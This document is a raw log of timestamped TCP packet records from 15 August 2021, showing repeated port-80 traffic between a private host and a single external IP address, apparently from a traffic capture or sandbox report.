Aug 15, 2021 08:40:52.933324099 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:53.044992924 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:53.073020935 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:53.073225021 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:53.185516119 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:53.213438988 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:53.213668108 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:53.338731050 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:53.366307974 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:53.366430998 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:53.481846094 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:53.510303020 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:53.510508060 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:53.624849081 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:53.652574062 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:53.652657986 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:53.762902975 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:53.792346954 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:53.792462111 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:53.904140949 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:53.934369087 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:53.934468031 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:54.059686899 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:54.087589025 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:54.087697029 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:54.204155922 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:54.234164953 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:54.234278917 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:54.341368914 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:54.369941950 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:54.370415926 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:54.482177019 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:54.510272980 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:54.510354996 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:54.628582001 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:54.656053066 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:54.656322956 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:54.768151045 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:54.797333956 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:54.797552109 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:54.905829906 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:54.934489965 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:54.936003923 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:55.046406984 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:55.074506998 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:55.074692965 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:55.189354897 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:55.216895103 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:55.217092037 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:55.327450037 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:55.357073069 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:55.357278109 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:55.468796015 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:55.498536110 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:55.498665094 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:55.610440016 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:55.638885975 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:55.639095068 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:55.747936010 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:55.775893927 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:55.776032925 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:55.892926931 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:55.921608925 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:55.921715021 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:56.038675070 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:56.066474915 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:56.066674948 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:56.186698914 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:56.217061996 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:56.217143059 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:56.328007936 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:56.358236074 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:56.358391047 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:56.469167948 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:56.497562885 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:56.503051996 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:56.608289957 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:56.635854006 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:56.636435032 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:56.747945070 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:56.776077032 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:56.778625965 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:56.889206886 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:56.917973042 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:56.918056011 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:57.029630899 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:57.057668924 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:57.058597088 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:57.170569897 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:57.199587107 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:57.201982975 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:57.334796906 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:57.362953901 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:57.366682053 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:57.482448101 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:57.510597944 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:57.514636040 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:57.668185949 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:57.695879936 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:57.697748899 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:57.829643011 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:57.860716105 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:57.860894918 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:57.969183922 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:57.996793032 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:57.996892929 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:58.108038902 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:58.137460947 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:58.140732050 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:58.248552084 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:58.276293039 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:58.276913881 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:58.389385939 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:58.417453051 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:58.417568922 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:58.528800011 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:58.556791067 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:58.556931973 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:58.669389009 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:58.696969032 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:58.697153091 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:58.810306072 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:58.838901043 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:58.839054108 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:58.951638937 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:58.981561899 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:58.981810093 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.092679024 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.122679949 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:59.122699022 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:59.122864008 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.122901917 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.123541117 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.149224997 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:59.233150959 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.257528067 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:59.257801056 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.258227110 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.283770084 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:59.287336111 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:59.310081005 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.545315027 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.573770046 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:59.573870897 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.686306953 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.713790894 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:59.713932037 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.827622890 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.855458021 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:59.855568886 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.969181061 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:59.998927116 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:00.023799896 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:00.157994032 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:00.185609102 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:00.185755968 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:00.296726942 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:00.325632095 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:00.325705051 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:00.452162981 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:00.480025053 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:00.480151892 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:00.591540098 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:00.620671988 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:00.620757103 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:00.738322020 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:00.767924070 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:00.768050909 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:00.872984886 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:00.902560949 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:00.902777910 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:01.013817072 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:01.043293953 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:01.043402910 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:01.154613018 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:01.181998968 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:01.182113886 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:01.295049906 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:01.323440075 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:01.323631048 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:01.435395002 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:01.467468023 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:01.467628002 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:01.577359915 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:01.604799986 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:01.605660915 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:01.726222992 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:01.754321098 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:01.754945993 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:01.873836040 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:01.901839972 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:01.901969910 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:02.013554096 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:02.041359901 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:02.041496038 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:02.154311895 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:02.183243990 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:02.184988976 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:02.294689894 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:02.325350046 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:02.325474024 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:02.436223984 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:02.463999033 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:02.466794968 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:02.576965094 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:02.608443975 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:02.608553886 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:02.717375994 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:02.745893002 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:02.745994091 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:02.858431101 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:02.886238098 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:02.886307955 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:03.008049011 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:03.037734032 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:03.037798882 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:03.158773899 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:03.186470032 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:03.186543941 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:03.302763939 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:03.331007004 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:03.331116915 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:03.452641964 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:03.482937098 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:03.483169079 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:03.592963934 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:03.624424934 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:03.624577045 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:03.743624926 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:03.770986080 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:03.771235943 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:03.892770052 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:03.920538902 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:03.920659065 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:04.030834913 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:04.058820963 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:04.058932066 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:04.170033932 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:04.200117111 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:04.203279972 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:04.310894966 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:04.339520931 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:04.343262911 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:04.451908112 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:04.481539011 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:04.481781960 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:04.592164993 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:04.619591951 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:04.619741917 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:04.787552118 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:04.815618992 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:04.817589045 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:05.060933113 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:05.089898109 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:05.091263056 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:05.201982975 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:05.230340958 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:05.230452061 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:05.361411095 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:05.389312983 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:05.389477015 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:05.498536110 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:05.530009985 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:05.530148029 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:05.639102936 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:05.667327881 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:05.667604923 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:06.143024921 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:06.170691967 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:06.170834064 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:06.301539898 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:06.329344988 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:06.329485893 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:06.455919027 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:06.483778954 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:06.483958006 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:07.546272993 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:07.574798107 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:07.575186968 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:07.706978083 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:07.735513926 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:07.735666037 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:07.864166021 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:07.892112970 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:07.892214060 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:07.998482943 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:08.028016090 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:08.028162003 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:08.140968084 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:08.169126987 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:08.169243097 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:08.279830933 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:08.310393095 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:08.310549021 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:08.424536943 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:08.452222109 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:08.453232050 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:08.577455997 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:08.605588913 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:08.605906963 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:08.718427896 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:08.746296883 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:08.746515989 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:08.858417034 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:08.886034966 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:08.887741089 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:09.000025988 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:09.030847073 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:09.031335115 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:09.139384031 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:09.169179916 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:09.171185017 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:09.280811071 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:09.309079885 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:09.311657906 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:09.423845053 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:09.451914072 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:09.452099085 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:09.565706968 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:09.593270063 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:09.593424082 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:09.705359936 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:09.732855082 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:09.733154058 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:09.844244957 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:09.871475935 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:09.871898890 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:09.986221075 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:10.016294956 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:10.016488075 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:10.126233101 CEST	49764	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:10.153512955 CEST	80	49764	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:10.153737068 CEST	49764	80	192.168.2.4	94.103.80.169
